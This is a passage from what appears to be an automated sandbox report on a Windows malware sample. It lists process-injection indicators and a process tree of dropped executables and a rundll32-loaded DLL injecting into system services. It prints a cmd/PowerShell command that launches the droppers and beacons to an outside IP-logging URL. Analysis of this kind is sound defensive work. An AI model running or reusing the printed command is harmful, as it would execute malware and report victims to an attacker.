SeSystemEnvironmentPrivilege 2752 svchost.exe Token: SeUndockPrivilege 2752 svchost.exe Token: SeManageVolumePrivilege 2752 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2752 svchost.exe Token: SeIncreaseQuotaPrivilege 2752 svchost.exe - Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 3024 Explorer.EXE 3024 Explorer.EXE 3024 Explorer.EXE 3024 Explorer.EXE - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 420 MicrosoftEdge.exe 2676 MicrosoftEdgeCP.exe 2676 MicrosoftEdgeCP.exe - Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 4020 wrote to memory of 3016 4020 aa50acd8116fddaaeec779efeab5555a.exe 68 PID 4020 wrote to memory of 3016 4020 aa50acd8116fddaaeec779efeab5555a.exe 68 PID 4020 wrote to memory of 3016 4020 aa50acd8116fddaaeec779efeab5555a.exe 68 PID 3016 wrote to memory of 3008 3016 cmd.exe 70 PID 3016 wrote to memory of 3008 3016 cmd.exe 70 PID 3016 wrote to memory of 3008 3016 cmd.exe 70 PID 3016 wrote to memory of 3572 3016 cmd.exe 71 PID 3016 wrote to memory of 3572 3016 cmd.exe 71 PID 3016 wrote to memory of 3572 3016 cmd.exe 71 PID 3016 wrote to memory of 736 3016 cmd.exe 73 PID 3016 wrote to memory of 736 3016 cmd.exe 73 PID 3016 wrote to memory of 736 3016 cmd.exe 73 PID 3008 wrote to memory of 1796 3008 f.exe 74 PID 3008 wrote to memory of 1796 3008 f.exe 74 PID 3008 wrote to memory of 1796 3008 f.exe 74 PID 3572 wrote to memory of 3108 3572 wwi.exe 75 PID 3572 wrote to memory of 3108 3572 wwi.exe 75 PID 3572 wrote to memory of 3108 3572 wwi.exe 75 PID 4164 wrote to memory of 4188 4164 rundll32.exe 83 PID 4164 wrote to memory of 4188 4164 rundll32.exe 83 PID 4164 wrote to memory of 4188 4164 rundll32.exe 83 PID 4188 wrote to memory of 2596 4188 rundll32.exe 26 PID 4188 wrote to memory of 68 4188 rundll32.exe 60 PID 2596 wrote to memory of 4312 2596 svchost.exe 84 PID 2596 wrote to memory of 4312 2596 svchost.exe 84 PID 2596 wrote to memory of 4312 2596 svchost.exe 84 PID 4188 wrote to memory of 2484 4188 rundll32.exe 28 PID 4188 wrote to memory of 2416 4188 rundll32.exe 30 PID 4188 wrote to memory of 1120 4188 rundll32.exe 55 PID 4188 wrote to memory of 1032 4188 rundll32.exe 9 PID 4188 wrote to memory of 1448 4188 rundll32.exe 48 PID 4188 wrote to memory of 1896 4188 rundll32.exe 39 PID 4188 wrote to memory of 1268 4188 rundll32.exe 52 PID 4188 wrote to memory of 1316 4188 rundll32.exe 49 PID 4188 wrote to memory of 2752 4188 rundll32.exe 23 PID 4188 wrote to memory of 2760 4188 rundll32.exe 22 PID 2676 wrote to memory of 3176 2676 MicrosoftEdgeCP.exe 81 PID 2676 wrote to memory of 3176 2676 MicrosoftEdgeCP.exe 81 PID 2676 wrote to memory of 3176 2676 MicrosoftEdgeCP.exe 81 PID 2676 wrote to memory of 3176 2676 MicrosoftEdgeCP.exe 81 PID 1896 wrote to memory of 3024 1896 svchost.exe 21 PID 1896 wrote to memory of 3024 1896 svchost.exe 21 PID 1896 wrote to memory of 3024 1896 svchost.exe 21
Processes
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1032
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:3024 -
C:\Users\Admin\AppData\Local\Temp\aa50acd8116fddaaeec779efeab5555a.exe"C:\Users\Admin\AppData\Local\Temp\aa50acd8116fddaaeec779efeab5555a.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c start "" "f.exe" & start "" "wwi.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"3⤵
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Users\Admin\AppData\Local\Temp\f.exe"f.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Users\Admin\AppData\Local\237843444.exe"C:\Users\Admin\AppData\Local\237843444.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1796
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C:\Users\Admin\AppData\Local\Temp\wwi.exe"wwi.exe"4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3572 -
C:\Users\Admin\AppData\Local\Temp\sviss.exe"C:\Users\Admin\AppData\Local\Temp\sviss.exe"5⤵
- Executes dropped EXE
PID:3108
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:736
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2760
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2752
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4312
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2484
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2416
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
- Suspicious use of WriteProcessMemory
PID:1896
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1448
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1316
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1268
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1120
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:68
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:420
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C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:3008
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2676
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:3176
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C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4188
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